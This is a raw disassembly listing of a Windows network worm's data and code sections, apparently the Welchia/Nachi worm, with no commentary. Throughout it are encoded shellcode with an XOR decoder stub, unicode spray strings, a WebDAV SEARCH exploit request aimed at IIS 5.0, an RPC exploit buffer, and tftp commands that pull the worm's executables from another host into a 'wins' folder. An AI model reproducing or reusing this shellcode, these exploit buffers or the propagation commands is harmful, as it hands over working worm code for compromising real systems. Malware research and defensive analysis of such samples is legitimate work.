dword_404188	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_401990+20r
dword_40418C	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_404190	dd 71AB2BC0h	; resolved to->WS2_32.ntohldword_404194	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4020E0+27r ...
		dd 0
dword_40419C	dd 42D779A3h			dd 2 dup(0)
dword_4041A8	dd 0FFFFFFFFh, 4030BCh,	4030D0h, 393h dup(0)dword_405000	dd 0		dword_405004	dd 0		dword_405008	dd 0		dword_40500C	dd 0		aU5390U665eU66a	db '%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f%u66ad%u4e3d%u740'
					; DATA XREF: sub_401F30+A4o
		db '0%u9023%u612c%u5090%u6659%u90ad%u612c%u548d%u7088%u548d%u908a%u54'
		db '8d%u708a%u548d%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3%u6'
		db '099',0
		align 4
aFfilomidomfafd	db 'ffilomidomfafdfgfhinhnlaljbeaaaaaalimmmmmmmmpdklojieaaaaaaipefpai'
					; DATA XREF: sub_401F30+C6o
		db 'nlnpeppppppgekbaaaaaaaaijehaigeijdnaaaaaaaamhefpeppppppppilefpaid'
		db 'oiahijefpiloaaaabaaaoideaaaaaaibmgaabaaaaaolagibmgaaeaaaaailagdne'
		db 'oeoeoeohfpbidmgaeikagegdmfjhfpjikagegdmfihfpcggknggdnfjfihfokppog'
		db 'olpofifailhnpaijehpcmdileeceamafliaaaaaamhaaeeddccbbddmamdolomoih'
		db 'hppppppcececece',0
		align 10h
aU5951U6858U759	db '%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759'
					; DATA XREF: sub_401F30+45o
		db 'f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u68'
		db '58%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018',0
		align 4
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
word_40537C	dw 3D30h		; DATA XREF: sub_401280+19Dr
		dw 3D9Fh
		dd 3D8B3D8Ah, 3D953D91h, 3D9D3D97h, 3DBC3DA1h, 3DE93DF3h
		dd 0DCA03D9Ah, 0CA64CA60h, 0CA68CA67h, 0CA71CA66h, 0CB5DCA82h
		dd 0CBD0CA62h, 0D20CCBCFh, 0D235D22Ah, 0D344D248h, 0D354D357h
		dd 0D360D35Ch, 0D353D362h, 0D3A1D35Fh, 0D3A3D3A2h, 0D39CD390h
		dd 0DA6DD39Eh, 0DA05DA04h, 0DA47DA11h, 0DA6ADA00h, 0DB91DAC7h
		dd 0DA06DA08h, 0DA58DA3Fh, 0DA45DA59h, 0DA4BDA3Fh, 0DA68DA55h
		dd 0DB8ADAC5h, 0DBEADBDEh, 0DCA0DC6Dh, 0DC75DCA3h, 0DCB9DCA2h
		dd 0DC71DCBAh, 0DCA6DC70h
off_405414	dd offset aHttpDownload_m ; DATA XREF: sub_401780:loc_4018AFr
					; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_1 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_2 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_3 ; "http://download.microsoft.com/download/"...
off_405424	dd offset aHttpDownload_0 ; DATA XREF: sub_401780+120r
					; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_4 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_5 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_6 ; "http://download.microsoft.com/download/"...
dword_405434	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_40547C	dd 3000005h, 10hdword_405484	dd 3E8h				dd 0E5h, 3D0h, 40001h, 60005h, 1, 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 2 dup(0)
dword_4057DC	dd 20h							; sub_402170+29w
dword_4057E0	dd 0		dword_4057E4	dd 20h							; sub_402170+2Ew
dword_4057E8	dd 5C005Ch	aC1234561111111:			; DATA XREF: sub_402170+7Bo
		unicode	0, <\C$\123456111111111111111.doc>,0
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402170+55o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
dword_40584C	dd 7F08321Ah			db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 126h	dup(90h)
; ---------------------------------------------------------------------------


loc_40597E:				; DATA XREF: sub_401F30+13Co
		jmp	short loc_405990

; =============== S U B	R O U T	I N E =======================================



sub_405980	proc far		; CODE XREF: sub_405980:loc_405990p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 176h


loc_405988:				; CODE XREF: sub_405980+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_405988
		jmp	short loc_405995
; ---------------------------------------------------------------------------


loc_405990:				; CODE XREF: seg000:loc_40597Ej
		call	near ptr sub_405980


loc_405995:				; CODE XREF: sub_405980+Ej
		jo	short loc_4059F8
		cdq
		cdq
		cdq
		retn
; ---------------------------------------------------------------------------
		db 21h
		dd 0E6646995h, 0E9129912h, 0D9123485h, 12411291h, 6A9AA5EAh
		dd 9AE1EF12h, 0B9E7126Ah, 0D712629Ah, 0CF74AA8Dh, 0A612C8CEh
		dd 6B12629Ah, 6AC097F3h, 0C091ED3Fh, 9D5E1AC6h,	0C0707BDCh
		dd 5412C7C6h, 9ABDDF12h, 9A78485Ah, 0FF50AA58h,	0DF129112h
		dd 585A9A85h, 589A9B78h, 5A9A9912h
; ---------------------------------------------------------------------------


loc_4059F8:				; CODE XREF: sub_405980:loc_405995j
		adc	ah, [ebx+12h]
		outsb
		sbb	bl, [edi-69h]
		adc	cl, [ecx-0Dh]
		call	far ptr	9999h:99ED71C0h
		sbb	bl, [edi-6Ch]
		retf
sub_405980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CFh, 66h, 0CEh
		dd 4112C365h, 71C09AF3h, 999999F8h, 12DD751Ah, 0C089F36Dh
		dd 7B179D10h, 0C9C9C962h, 0F398F3C9h, 6DCE669Bh, 0C7104112h
		dd 0A5C710A1h, 0FFD9C710h, 98B5DF5Eh, 89DE1498h, 59AACFC9h
		dd 0F3C9C9C9h, 14C9C998h, 9B5EA5CEh, 99FDF4FAh,	0CE66C9CBh
		dd 9B9E5E71h, 5E9B9999h, 0FAFA9DDEh, 89F3FAFAh,	0CE66CACEh
		dd 0CE66CA61h, 0CE66C965h, 3559AA75h, 60EC591Ch, 0CACFCBC8h
		dd 0C0C34B66h, 0AA777B32h, 9A715A59h, 0DE666666h, 0EBC9EDFCh
		dd 0FDD8FAF6h, 0EAFCEBFDh, 0EBDA99EAh, 0FCEDF8FCh, 0FAF6EBC9h
		dd 0D8EAEAFCh, 0F0E1DC99h, 0EBF1CDEDh, 99FDF8FCh, 0FDF8F6D5h
		dd 0EBFBF0D5h, 0D8E0EBF8h, 0ABEAEE99h, 99ABAAC6h, 0CAD8CACEh
		dd 0FCF2FAF6h, 0FA99D8EDh, 0FCF7F7F6h, 0FA99EDFAh, 0FCEAF6F5h
		dd 0F2FAF6EAh, 99EDFCh
dword_405AF4	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 0
		dd offset aILoveMyWifeBab ; "=========== I love	my wife	& baby :)~~~"...
aCopyDllcacheTf	db 'copy dllcache\tftpd.exe wins\svchost.exe',0Ah
					; DATA XREF: sub_401C80+175o
		db 0Dh,0
		align 4
aWinsDllhost_ex	db 'wins\DLLHOST.EXE',0Ah ; DATA XREF: sub_401C80+1ABo
					; sub_401C80+1BDo
		db 0Dh,0
		align 4
word_405B68	dw 29Ah			; DATA XREF: sub_401990+5Aw
					; sub_401990+81r ...
		align 4
aRpctftpd	db 'RpcTftpd',0         ; DATA XREF: sub_401280+41o
					; sub_401280+E7o ...
		align 4
aRpcpatch	db 'RpcPatch',0         ; DATA XREF: sub_401280+37o
					; sub_401660+57o ...
		align 4
aDirDllcacheTft	db 'dir dllcache\tftpd.exe',0Ah ; DATA XREF: sub_401C80+11Bo
		db 0Dh,0
		align 10h
dword_405BA0	dd 4							; sub_402880:loc_4028F6r
byte_405BA4	db 3Dh			; DATA XREF: sub_401100:loc_40115Ar
		db 3Dh,	2 dup(0CAh)
		dd 0D2D2CBCAh, 0DADAD3D3h, 0DCDBh
aDirWinsDllhost	db 'dir wins\dllhost.exe',0Ah ; DATA XREF: sub_401C80+D2o
		db 0Dh,0
		align 4
aGetHttp1_1Acce	db 'GET / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+B5o
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*',0Dh
		db 0Ah
		db 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',0Dh,0Ah
		db 'Host: ',0
		align 4
aConnectionKeep	db 0Dh,0Ah		; DATA XREF: sub_402C40+95o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aILoveMyWifeBab	db '=========== I love my wife & baby :)~~~  Welcome Chian~~~  Notice'
					; DATA XREF: seg000:00405B24o
		db ':  2004 will remove myself:)~~ sorry zhongli~~~===========  wins',0
		align 4
aHttpDownload_6	db 'http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b'
					; DATA XREF: seg000:00405430o
		db '1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe',0
		align 4
aHttpDownload_5	db 'http://download.microsoft.com/download/5/8/f/58fa7161-8db3-4af4-b'
					; DATA XREF: seg000:0040542Co
		db '576-0a56b0a9d8e6/Windows2000-KB823980-x86-CHT.exe',0
		align 10h
aHttpDownload_4	db 'http://download.microsoft.com/download/2/8/1/281c0df6-772b-42b0-9'
					; DATA XREF: seg000:00405428o
		db '125-6858b759e977/Windows2000-KB823980-x86-CHS.exe',0
		align 4
aHttpDownload_0	db 'http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8'
					; DATA XREF: seg000:off_405424o
		db 'ad2-b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe',0
		align 4
aHttpDownload_3	db 'http://download.microsoft.com/download/e/3/1/e31b9d29-f650-4078-8'
					; DATA XREF: seg000:00405420o
		db 'a76-3e81eb4554f6/WindowsXP-KB823980-x86-KOR.exe',0
		align 4
aHttpDownload_2	db 'http://download.microsoft.com/download/2/3/6/236eaaa3-380b-4507-9'
					; DATA XREF: seg000:0040541Co
		db 'ac2-6cec324b3ce8/WindowsXP-KB823980-x86-CHT.exe',0
		align 10h
aHttpDownload_1	db 'http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8'
					; DATA XREF: seg000:00405418o
		db 'd48-85e42de9d2c0/WindowsXP-KB823980-x86-CHS.exe',0
		align 4
aHttpDownload_m	db 'http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-a'
					; DATA XREF: seg000:off_405414o
		db 'aee-b7a52a983f01/WindowsXP-KB823980-x86-ENU.exe',0
		align 4
aTftpISGetSvcho	db 'tftp -i %s get svchost.exe wins\SVCHOST.EXE',0Ah
					; DATA XREF: sub_401210+48o
		db 0Dh,0
		align 4
aTftpISGetDllho	db 'tftp -i %s get dllhost.exe wins\DLLHOST.EXE',0Ah
					; DATA XREF: sub_401210+34o
		db 0Dh,0
		align 4
aNetworkConnect	db 'Network Connections Sharing',0 ; DATA XREF: sub_4015E0+57o
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: sub_4015E0+52o
					; sub_4023E0+59o
aMsdtc		db 'MSDTC',0            ; DATA XREF: sub_4015E0+4Do
		align 4
aSWinsSvchost_e	db '%s\wins\svchost.exe',0 ; DATA XREF: sub_4015E0+2Do
aSDllcacheTftpd	db '%s\dllcache\tftpd.exe',0 ; DATA XREF: sub_4015E0+19o
		align 4
aWinsClient	db 'WINS Client',0      ; DATA XREF: sub_401660+52o
aDllhost_exe	db 'DLLHOST.EXE',0      ; DATA XREF: sub_401660+4Do
					; sub_401C80+ECo
aBrowser	db 'Browser',0          ; DATA XREF: sub_401660+48o
aSWinsDllhost_e	db '%s\wins\DLLHOST.EXE',0 ; DATA XREF: sub_401660+24o
aSNOZQ		db '%s -n -o -z -q',0   ; DATA XREF: sub_401780:loc_4018DCo
		align 4
dword_4061A8	dd 53637052h	dword_4061AC	dd 69767265h	dword_4061B0	dd 61506563h	dword_4061B4	dd 652E6B63h	word_4061B8	dw 6578h		; DATA XREF: sub_401780+102r
byte_4061BA	db 0			; DATA XREF: sub_401780+10Dr
		align 4
dword_4061BC	dd 74737973h, 32336D65h, 3Eh					; sub_401C80+8Eo ...
aTimeoutOccurre	db 'Timeout occurred',0 ; DATA XREF: sub_401B90+95o
		align 4
aTransferSucces	db 'Transfer successful',0 ; DATA XREF: sub_401B90+86o
aTftpd_exe	db 'TFTPD.EXE',0        ; DATA XREF: sub_401C80+148o
		align 4
aTftpd_exe_0	db 'tftpd.exe',0        ; DATA XREF: sub_401C80+135o
		align 4
aDllhost_exe_0	db 'dllhost.exe',0      ; DATA XREF: sub_401C80+103o
aMicrosoftWindo	db 'Microsoft Windows',0 ; DATA XREF: sub_401C80+77o
		align 4
aMicrosoft_com	db 'microsoft.com',0    ; DATA XREF: sub_401E80o
		align 4
word_406238	dw 0A0Dh		; DATA XREF: sub_401F30+17Er
byte_40623A	db 0			; DATA XREF: sub_401F30+185r
		align 4
aHttp1_1Host127	db ' HTTP/1.1',0Dh,0Ah  ; DATA XREF: sub_401F30+100o
		db 'Host: 127.0.0.1',0Dh,0Ah
		db 'Content-Type: text/xml',0Dh,0Ah
		db 'Content-length: 377',0Dh,0Ah
		db 0Dh,0Ah
		db 'YXYX',0
aSearch		db 'SEARCH /',0         ; DATA XREF: sub_401F30+Ao
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4022A0+1Co
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Updates\Windows XP\SP2\KB823980',0
					; DATA XREF: sub_402390+2Do
		align 10h
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Updates\Windows XP\SP1\KB823980',0
					; DATA XREF: sub_402390:loc_4023ACo
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Updates\Windows 2000\SP5\KB823980',0
					; DATA XREF: sub_402390+8o
		align 4
aManagesNetwork	db 'Manages network configuration by updating DNS names IP address.',0
					; DATA XREF: sub_4023E0+D1o
aSWinsS		db '%s\wins\%s',0       ; DATA XREF: sub_4023E0+4Do
		align 4
aDSWins		db '-d%s\wins',0        ; DATA XREF: sub_402540+33o
		align 4
aRpcpatch_mutex	db 'RpcPatch_Mutex',0   ; DATA XREF: sub_4027B0o
		align 4
aSMsblast_exe	db '%s\msblast.exe',0   ; DATA XREF: sub_402A00+63o
		align 4
aMsblast	db 'msblast',0          ; DATA XREF: sub_402A00+8o
a411		db '411',0              ; DATA XREF: sub_402C40+20Ao
aSearchHttp1_1H	db 'SEARCH / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+19Eo
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
aServerMicrosof	db 'Server: Microsoft-IIS/5.0',0 ; DATA XREF: sub_402C40+13Fo
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: sub_402C40+BAo
		align 4
dword_406414	dd 1				align 10h
dword_406420	dd 0							; sub_402B20+CAr
dword_406424	dd 0							; sub_401F30+50r ...
dword_406428	dd 0							; sub_402170+100w
dword_40642C	dd 0							; sub_4020E0+13r
dword_406430	dd 10h dup(0)						; sub_402AB0+3Fo ...
dword_406470	dd 0							; sub_402130+35w ...
		align 8
dword_406478	dd 0				align 10h
dword_406480	dd 0							; sub_402170+C7w
		dd 1Bh dup(0)
dword_4064F0	dd 0							; sub_402170+D3w
dword_4064F4	dd 0							; sub_402170+DFw
		dd 0Bh dup(0)
dword_406524	dd 0							; sub_402170+EFw
dword_406528	dd 0							; sub_402170+F9w
		dd 5 dup(0)
dword_406540	dd 0							; sub_402170+11Ew
		dd 2Eh dup(0)
dword_4065FC	dd 0							; sub_402170+124w
		dd 74h dup(0)
dword_4067D0	dd 0		dword_4067D4	dd 0		dword_4067D8	dd 0		dword_4067DC	dd 0		dword_4067E0	dd 0B3h	dup(0)	dword_406AAC	dd 0Fh dup(0)	dword_406AE8	dd 146h	dup(0)	seg000		ends

; Section 2. (virtual address 00007000)
; Virtual size			: 00003000 (  12288.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00007000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 407000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
dword_407000	dd 11Ch	dup(0)	dword_407470	dd 0							; sub_4020E0+33r
dword_407474	dd 0							; sub_402170+10Aw
dword_407478	dd 8 dup(0)						; sub_401210+43o ...
aCWindowsSystem	db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_4011C0+14o
					; sub_4015E0+14o ...
		dd 3Dh dup(0)
dword_4075A0	dd 0							; sub_401280+9Cr ...
dword_4075A4	dd 0							; sub_401470+136r ...
dword_4075A8	dd 20h dup(0)						; sub_401C80+18Co
dword_407628	dd 20h dup(0)						; sub_401C80+15Co
dword_4076A8	dd 0							; seg000:00402932w
dword_4076AC	dd 0		dword_4076B0	dd 0		dword_4076B4	dd 0		dword_4076B8	dd 0		dword_4076BC	dd 0FFFFFFFFh	dword_4076C0	dd 0FFFFFFFFh	dword_4076C4	dd 0				dd 24Eh	dup(0)
		dd 0E0h, 3060h,	74654701h, 7473614Ch, 6F727245h, 49010072h
		dd 7265746Eh, 6B636F6Ch, 65446465h, 6D657263h, 746E65h
		dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6C470100h, 6C61626Fh
		dd 65657246h, 704F0100h, 72506E65h, 7365636Fh, 47010073h
		dd 69467465h, 7441656Ch, 62697274h, 73657475h, 53010041h
		dd 69467465h, 7441656Ch, 62697274h, 73657475h, 47010041h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 6D6E5501h
		dd 69567061h, 664F7765h, 656C6946h, 72430100h, 65746165h
		dd 6574754Dh, 1004178h,	65746E49h, 636F6C72h, 4964656Bh
		dd 6572636Eh, 746E656Dh, 6F4C0100h, 416C6163h, 636F6C6Ch
		dd 6F4C0100h, 466C6163h, 656572h, 74654701h, 73726556h
		dd 6E6F69h, 74654701h, 73726556h, 456E6F69h, 1004178h
		dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 47010073h
		dd 454F7465h, 50434Dh, 74654701h, 74737953h, 65446D65h
		dd 6C756166h, 49434C74h, 47010044h, 6F4D7465h, 656C7564h
		dd 656C6946h, 656D614Eh, 54010041h, 696D7265h, 6574616Eh
		dd 636F7250h, 737365h, 69615701h, 726F4674h, 676E6953h
		dd 624F656Ch, 7463656Ah, 6F430100h, 69467970h, 41656Ch
		dd 74654701h, 61636F4Ch, 6D69546Ch, 45010065h, 50746978h
		dd 65636F72h, 1007373h,	54746547h, 436B6369h, 746E756Fh
		dd 72430100h, 65746165h, 65726854h, 1006461h, 65656C53h
		dd 46010070h, 43656572h, 6F736E6Fh, 100656Ch, 53746547h
		dd 65747379h, 7269446Dh, 6F746365h, 417972h, 65724301h
		dd 54657461h, 686C6F6Fh, 33706C65h, 616E5332h, 6F687370h
		dd 50010074h, 65636F72h, 32337373h, 73726946h, 50010074h
		dd 65636F72h, 32337373h, 7478654Eh, 6C430100h, 4865736Fh
		dd 6C646E61h, 43010065h, 74616572h, 6F725065h, 73736563h
		dd 44010041h, 74656C65h, 6C694665h, 4165h, 0EDh, 3000h
		dd 61684301h, 5365676Eh, 69767265h, 6F436563h, 6769666Eh
		dd 1004132h, 72657551h,	72655379h, 65636976h, 666E6F43h
		dd 41326769h, 74530100h, 53747261h, 69767265h, 416563h
		dd 6C654401h, 53657465h, 69767265h, 1006563h, 69676552h
		dd 72657473h, 76726553h, 43656369h, 486C7274h, 6C646E61h
		dd 417265h, 74655301h, 76726553h, 53656369h, 75746174h
		dd 53010073h, 74726174h, 76726553h, 43656369h, 446C7274h
		dd 61707369h, 65686374h, 1004172h, 72657551h, 72655379h
		dd 65636976h, 74617453h, 1007375h, 72657551h, 72655379h
		dd 65636976h, 666E6F43h, 416769h, 61684301h, 5365676Eh
		dd 69767265h, 6F436563h, 6769666Eh, 41010041h, 73756A64h
		dd 6B6F5474h, 72506E65h, 6C697669h, 73656765h, 704F0100h
		dd 43536E65h, 616E614Dh, 41726567h, 72430100h, 65746165h
		dd 76726553h, 41656369h, 6C430100h, 5365736Fh, 69767265h
		dd 61486563h, 656C646Eh, 704F0100h, 65536E65h, 63697672h
		dd 1004165h, 4F676552h,	4B6E6570h, 78457965h, 52010041h
		dd 6C436765h, 4B65736Fh, 1007965h, 6E65704Fh, 636F7250h
		dd 54737365h, 6E656B6Fh, 6F4C0100h, 70756B6Fh, 76697250h
		dd 67656C69h, 6C615665h, 416575h, 0FA00h, 305000h, 63490100h
		dd 6C43706Dh, 4865736Fh, 6C646E61h, 49010065h, 43706D63h
		dd 74616572h, 6C694665h, 49010065h, 53706D63h, 45646E65h
		dd 6F6863h, 10300h, 30F000h, 78650100h,	1007469h, 7063585Fh
		dd 6C694674h, 726574h, 675F5F01h, 616D7465h, 72616E69h
		dd 1007367h, 696E695Fh,	72657474h, 7301006Dh, 74737274h
		dd 73010072h, 646E6172h, 3F3F0100h, 41594032h, 49584150h
		dd 1005A40h, 5F705F5Fh,	6E695F5Fh, 6E657469h, 5F010076h
		dd 7465735Fh, 72657375h, 6874616Dh, 727265h, 64615F01h
		dd 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh, 6D6D6F63h
		dd 65646Fh, 72707301h, 66746E69h, 74730100h, 68637272h
		dd 5F010072h, 5F5F705Fh, 646F6D66h, 5F010065h, 7465735Fh
		dd 7070615Fh, 7079745Fh, 5F010065h, 65637865h, 685F7470h
		dd 6C646E61h, 337265h, 6F635F01h, 6F72746Eh, 70666Ch, 78655F01h
		dd 1007469h, 40333F3Fh,	50584159h, 5A405841h, 61720100h
		dd 100646Eh, 7274735Fh,	706D6369h, 10E0000h, 319C0000h
		dd 55010000h, 6F444C52h, 6F6C6E77h, 6F546461h, 656C6946h
		dd 19000041h, 48000001h, 1000031h, 74697845h, 646E6957h
		dd 4573776Fh, 24000078h, 50000001h, 0FF000031h,	4FF0017h
		dd 39FF00h, 0FF000CFFh,	15FF0034h, 13FF00h, 0FF0010FFh
		dd 9FF0003h, 2FF00h, 0FF0074FFh, 1FF000Dh, 8FF00h, 0FF0073FFh
		dd 0BFF000Eh, 0
		dd 45500000h, 14C0000h,	20080003h, 9A08h, 0
		dd 0E00000h, 10B010Fh, 30000006h, 40000000h, 0
		dd 2FCC0000h, 10000000h, 40000000h, 0
		dd 10000040h, 10000000h, 40000h, 0
		dd 40000h, 0
		dd 80000000h, 10000000h, 0
		dd 30000h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 41B40000h, 0A00000h,	14h dup(0)
		dd 40000000h, 1A40000h,	6 dup(0)
		dd 742E0000h, 747865h, 213A0000h, 10000000h, 30000000h
		dd 10000000h, 3	dup(0)
		dd 200000h, 722E6000h, 61746164h, 9B00000h, 40000000h
		dd 10000000h, 40000000h, 3 dup(0)
		dd 400000h, 642E4000h, 617461h,	26C80000h, 50000000h, 20000000h
		dd 50000000h, 3	dup(0)
		dd 400000h, 7000C000h, 43F80000h, 2 dup(755E0000h), 8DD71262h
		dd 0CECF74AAh, 0BA612C8h, 0C097F36Bh, 91ED3F6Ah, 5E1AC6C0h
		dd 0D97BDC9Dh, 70B7FFFEh, 5412C707h, 9ABDDF12h,	9A78485Ah
		dd 0FF50AA58h, 850D9112h, 7B5ADFFFh, 0E9B7858h,	63120853h
		dd 5F1A6E12h, 0F3491297h, 37DAC09Ah, 0ED71DCD8h, 60940C6Eh
		dd 0C365CE66h, 0FFFEEF68h, 75F812F9h, 0F36D12DDh, 9D10C089h
		dd 0C9627B17h, 0F398F300h, 0BDB2FF9Bh, 216D226Dh, 2A1C710h
		dd 5EFFD9A5h, 9898B5DFh, 0FEC5BFFBh, 0C989DE14h, 2159AACFh
		dd 0A5CE1403h, 0F4FA9B5Eh, 0D9CB99FDh, 7EDFB9BBh, 9E5E71CEh
		dd 5E9B499Bh, 0FA9DDEh,	13CACE4Ch, 6EBADFDAh, 1B650361h
		dd 1C353275h, 0C860EC59h, 0CBEDFF78h, 0C34B11DFh, 777B32C0h
		dd 669A715Ah, 0EDFCDE00h, 0FAF6EBC9h, 6F7BBFD8h, 0EBFDFDFFh
		dd 99EAEAFCh, 0EDF805DAh, 0D80D11FCh, 0F0E1DC99h, 0DDBFDBEDh
		dd 13F1CDDCh, 4F6D563h,	0EBFBF0D5h, 17E0EBF8h, 0BB797FEEh
		dd 0C6ABEAFDh, 6399ABAAh, 0F229CAD8h, 0F6FAEDFCh, 0FAFCF7F7h
		dd 6FB58D24h, 0F6F5FADFh, 99143AEAh, 0D23F2057h, 0B72D20C8h
		dd 0C2A88h, 81268002h, 0C8C28F7h, 2F84BF07h, 4DD137F1h
		dd 642079D2h, 61636C6Ch, 745C65C2h, 0D1BFA37Dh,	2E347466h
		dd 20657865h, 5C732877h, 0E9987673h, 6F14B12Bh,	0DE0A10D3h
		dd 0F3D01C13h, 4C4C44FFh, 54534F48h, 4558452Eh,	0EEF9149Ah
		dd 544985BDh, 500B5338h, 68637461h, 0C5B656F7h,	495A7241h
		dd 0EDFFB300h, 3D3D9F2Fh, 0D2CB00CAh, 0DAD3D3D2h, 2FDCDBDAh
		dd 62E607D6h, 47773463h, 68525445h, 20FE2D8Bh, 50545448h
		dd 6031D32Fh, 6F46A341h, 7495D054h, 29E8203Ah, 85A8DB07h
		dd 0A2C0980h, 716D2D78h, 6278F2D8h, 10707469h, 1667AF6Ah
		dd 0B8767DBh, 2F2A0C70h, 0B355412Ah, 0F6DD5B6Fh, 14412D72h
		dd 0ED4D456Eh, 2F616F69h, 0E154AD34h, 28202E42h, 0FEBE350Eh
		dd 0B446A16Dh, 53183B06h, 35204549h, 0BF17352Eh, 5709DB51h
		dd 73773A94h, 0FC383920h, 5CD7B685h, 0C3359948h, 0DA67430Bh
		dd 6EA190CDh, 4B116E30h, 15A89465h, 7B53D46Ah, 0FA35177Fh
		dd 0DF0467B2h, 20492000h, 0D6EA5B7Ah, 6D2019BDh, 766E179h
		dd 62222026h, 6D42B90Bh, 7E293A7Bh, 765F2000h, 2EC76E78h
		dd 584315B5h, 4E116E61h, 6563546Fh, 5D0B7368h, 34DC3220h
		dd 4220A032h, 605B36EFh, 6CBB416Dh, 0CC8F3866h,	6FF6EDB5h
		dd 7A437272h, 76677D68h, 88686F36h, 0B1480C22h,	0EA982D74h
		dd 2F3A765Eh, 0AE6EBE2Fh, 85B96D80h, 0CA56A856h, 712E8C38h
